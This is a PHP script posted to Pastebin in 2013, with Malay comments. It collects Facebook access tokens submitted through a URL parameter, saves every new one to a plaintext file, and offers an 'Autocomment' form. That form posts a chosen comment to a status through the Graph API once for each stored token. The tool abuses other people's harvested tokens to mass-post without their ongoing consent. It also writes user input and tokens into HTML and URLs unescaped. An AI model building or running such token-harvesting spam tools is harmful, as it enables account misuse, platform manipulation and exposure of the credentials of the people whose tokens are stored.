tobitaz

komen.php

Sep 10th, 2013 (edited)
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.86 KB | None | 0 0
  1.  <?php
  2.  
  3. //ganti dgn nama file yg ko nak utk simpan token
  4. $tokenko = "token.txt";
  5. $token = $_GET["token"];
  6.  
  7. //check token ada
  8. if($token === null)
  9. {
  10. die("please submit access token");
  11. }
  12.  
  13. //cek token invalid
  14. $c = curl_init("https://graph.facebook.com/me?access_token=".$token);
  15.         curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
  16. $k = curl_exec($c);
  17.         curl_close($c);
  18.  
  19. $check = strripos($k, "OAuthException");
  20.  
  21. if($check === false)
  22. {
  23.    $cre = fopen($tokenko, "a+");
  24.    $f = file_get_contents($tokenko);
  25.    $cf = strripos($f, $token);
  26.         if($cf === false)
  27.            {
  28.          
  29.             fwrite($cre, $token."\n");
  30.             echo "ok";
  31.  
  32.             $ch = curl_init("https://graph.facebook.com/me/feed?fields=id,message&access_token=".$token);
  33. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  34. $staid = curl_exec($ch);
  35. curl_close($ch);
  36.  
  37. $taz = json_decode($staid)->data;
  38.  
  39. //output
  40. if($statusid != null)
  41. {
  42. echo "<font style='font-size:40px; color:white;'>Done!</font>";
  43. }
  44.  
  45. //html autolike
  46.  
  47.  
  48.   echo '<body style="background-color:black; width:100%;">
  49.        <center>
  50.        <div style="border:3px grey outset; background-color:grey; width:60%;">
  51.        <form action="" method="post">
  52.        <font color="red">STATUS:</font><font color="white">'.$taz[0]->message.'</font><br />
  53.        
  54.        <input type="hidden" name="token" value="'.$token.'">
  55.        <font color="white">statusid:</font><br />
  56.       <input name="statusid" value="'.$taz[0]->id.'"><br />
  57. <font color="white">comment:</font><br />
  58. <textarea name="komen"></textarea><br />  
  59.       <input type="submit" style="order:3px red outset; color:white; background-color:red;" value="Autocomment">
  60.        </form><br /></div><br />';
  61.  
  62.  
  63. //start otolke
  64. $statusid = $_POST["statusid"];
  65. $komen = $_POST["komen"];
  66. if($statusid != null)
  67. {
  68. $geto = preg_split('/(\r?\n)+/', $f);
  69.       foreach($geto as $phc)
  70.    {
  71.  
  72. $paha = curl_init("https://graph.facebook.com/".$statusid."/comments?method=post&message=".$komen."&access_token=".$phc);
  73.               curl_setopt($paha, CURLOPT_RETURNTRANSFER, true);
  74.               curl_exec($paha);
  75.               curl_close($paha);
  76.  
  77.  
  78.     }
  79. }
  80.  
  81.  
  82.  
  83.  
  84.  
  85.            }
  86.           else
  87.            {
  88.                     $ch = curl_init("https://graph.facebook.com/me/feed?fields=id,message&access_token=".$token);
  89. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  90. $staid = curl_exec($ch);
  91. curl_close($ch);
  92.  
  93. $taz = json_decode($staid)->data;
  94.  
  95. //output
  96. if($statusid != null)
  97. {
  98. echo "<font style='font-size:40px; color:white;'>Done!</font>";
  99. }
  100.  
  101. //html autolike
  102.  
  103.  
  104.   echo '<body style="background-color:black; width:100%;">
  105.        <center>
  106.        <div style="border:3px grey outset; background-color:grey; width:60%;">
  107.        <form action="" method="post">
  108.        <font color="red">STATUS:</font><font color="white">'.$taz[0]->message.'</font><br />
  109.        
  110.        <input type="hidden" name="token" value="'.$token.'">
  111.        <font color="white">statusid:</font><br />
  112.       <input name="statusid" value="'.$taz[0]->id.'"><br />
  113. <font color="white">comment:</font><br />
  114. <textarea name="komen"></textarea><br />  
  115.       <input type="submit" style="order:3px red outset; color:white; background-color:red;" value="Autocomment">
  116.        </form><br /></div><br />';
  117.  
  118.  
  119. //start otolke
  120. $statusid = $_POST["statusid"];
  121. $komen = $_POST["komen"];
  122. if($statusid != null)
  123. {
  124. $geto = preg_split('/(\r?\n)+/', $f);
  125.       foreach($geto as $phc)
  126.    {
  127.  
  128. $paha = curl_init("https://graph.facebook.com/".$statusid."/comments?method=post&message=".$komen."&access_token=".$phc);
  129.               curl_setopt($paha, CURLOPT_RETURNTRANSFER, true);
  130.               curl_exec($paha);
  131.               curl_close($paha);
  132.  
  133.  
  134.     }
  135. }
  136.  
  137.    
  138.  
  139.  
  140.  
  141.  
  142.  
  143.            }
  144.      fclose($cre);
  145.  
  146.  
  147.  
  148.  
  149.  
  150.  
  151. }
  152. else
  153. {
  154. die("access token invalid");
  155. }
  156.  
  157.  
  158. ?>
Add Comment
Please, Sign In to add comment